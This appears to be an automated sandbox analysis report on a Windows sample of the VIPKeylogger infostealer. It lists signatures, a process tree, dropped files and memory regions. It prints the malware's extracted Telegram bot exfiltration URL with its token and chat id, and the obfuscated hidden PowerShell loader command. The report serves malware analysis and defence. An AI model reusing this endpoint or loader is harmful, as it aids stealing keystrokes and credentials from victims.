Analysis
- max time kernel
149s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
- submitted
20/12/2024, 06:36
General
- Target cee3ae54c0f49335db69551733260a6e0bb7f72089b126b14a09d44722bbdc8f.exe
- Size 558KB
- Sample241220-hdazzssket
- SHA256 cee3ae54c0f49335db69551733260a6e0bb7f72089b126b14a09d44722bbdc8f
Malware Config
Extracted
-
vipkeylogger
-
https://api.telegram.org/bot7557203423:AAGe1HpB3h500YMl-g1jm79Gu1CeWQ1Wrtg/sendMessage?chat_id=5434550993
Signatures
- VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
- Vipkeylogger family
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Loads dropped DLL 1 IoCs
- Blocklisted process makes network request 6 IoCs
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Drops file in Windows directory 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 1 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 8 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 23 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\cee3ae54c0f49335db69551733260a6e0bb7f72089b126b14a09d44722bbdc8f.exe"C:\Users\Admin\AppData\Local\Temp\cee3ae54c0f49335db69551733260a6e0bb7f72089b126b14a09d44722bbdc8f.exe"1⤵
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "$Eurylaimoid=gc -raw 'C:\Users\Admin\AppData\Roaming\china\Mixeren\verbalises\Southernise233.Bul';$Mistillidens63=$Eurylaimoid.SubString(10394,3);.$Mistillidens63($Eurylaimoid) "2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1584 -s 23804⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 1584 -ip 15841⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
justifikationssager.lnk
__PSScriptPolicyTest_obpcadij.i51.ps1
nsExec.dll
Marsken.Ank
Southernise233.Bul
memory/1584-112-0x0000000000C50000-0x0000000001EA4000-memory.dmp
memory/1584-113-0x0000000000C50000-0x0000000001EA4000-memory.dmp
memory/1584-115-0x0000000024DF0000-0x0000000024E8C000-memory.dmp
memory/1584-114-0x0000000000C50000-0x0000000000C9A000-memory.dmp
memory/4908-74-0x0000000074E50000-0x0000000075600000-memory.dmp
memory/4908-77-0x0000000007240000-0x000000000724A000-memory.dmp
memory/4908-39-0x0000000074E50000-0x0000000075600000-memory.dmp
memory/4908-40-0x0000000004CA0000-0x0000000004CC2000-memory.dmp
memory/4908-41-0x0000000005580000-0x00000000055E6000-memory.dmp
memory/4908-42-0x0000000005660000-0x00000000056C6000-memory.dmp
memory/4908-52-0x00000000056D0000-0x0000000005A24000-memory.dmp
memory/4908-53-0x0000000005CC0000-0x0000000005CDE000-memory.dmp
memory/4908-54-0x0000000005D10000-0x0000000005D5C000-memory.dmp
memory/4908-55-0x0000000006E80000-0x0000000006F16000-memory.dmp
memory/4908-56-0x00000000061D0000-0x00000000061EA000-memory.dmp
memory/4908-57-0x0000000006220000-0x0000000006242000-memory.dmp
memory/4908-58-0x0000000007520000-0x0000000007AC4000-memory.dmp
memory/4908-60-0x0000000008150000-0x00000000087CA000-memory.dmp
memory/4908-63-0x0000000070C70000-0x0000000070CBC000-memory.dmp
memory/4908-62-0x0000000074E50000-0x0000000075600000-memory.dmp
memory/4908-61-0x00000000070D0000-0x0000000007102000-memory.dmp
memory/4908-37-0x0000000074E50000-0x0000000075600000-memory.dmp
memory/4908-73-0x0000000007110000-0x000000000712E000-memory.dmp
memory/4908-75-0x0000000007140000-0x00000000071E3000-memory.dmp
memory/4908-76-0x0000000074E50000-0x0000000075600000-memory.dmp
memory/4908-38-0x0000000004E50000-0x0000000005478000-memory.dmp
memory/4908-78-0x00000000073A0000-0x00000000073B1000-memory.dmp
memory/4908-79-0x00000000073F0000-0x00000000073FE000-memory.dmp
memory/4908-80-0x0000000007400000-0x0000000007414000-memory.dmp
memory/4908-81-0x0000000007440000-0x000000000745A000-memory.dmp
memory/4908-82-0x0000000007430000-0x0000000007438000-memory.dmp
memory/4908-83-0x0000000007490000-0x00000000074BA000-memory.dmp
memory/4908-84-0x00000000074C0000-0x00000000074E4000-memory.dmp
memory/4908-85-0x0000000074E50000-0x0000000075600000-memory.dmp
memory/4908-86-0x0000000074E50000-0x0000000075600000-memory.dmp
memory/4908-89-0x0000000074E50000-0x0000000075600000-memory.dmp
memory/4908-90-0x0000000074E50000-0x0000000075600000-memory.dmp
memory/4908-88-0x0000000074E5E000-0x0000000074E5F000-memory.dmp
memory/4908-91-0x0000000074E50000-0x0000000075600000-memory.dmp
memory/4908-92-0x0000000074E50000-0x0000000075600000-memory.dmp
memory/4908-93-0x00000000087D0000-0x000000000DDFD000-memory.dmp
memory/4908-94-0x0000000074E50000-0x0000000075600000-memory.dmp
memory/4908-95-0x0000000074E50000-0x0000000075600000-memory.dmp
memory/4908-96-0x0000000074E50000-0x0000000075600000-memory.dmp
memory/4908-36-0x0000000004670000-0x00000000046A6000-memory.dmp
memory/4908-35-0x0000000074E5E000-0x0000000074E5F000-memory.dmp
memory/4908-97-0x0000000074E50000-0x0000000075600000-memory.dmp
memory/4908-99-0x0000000074E50000-0x0000000075600000-memory.dmp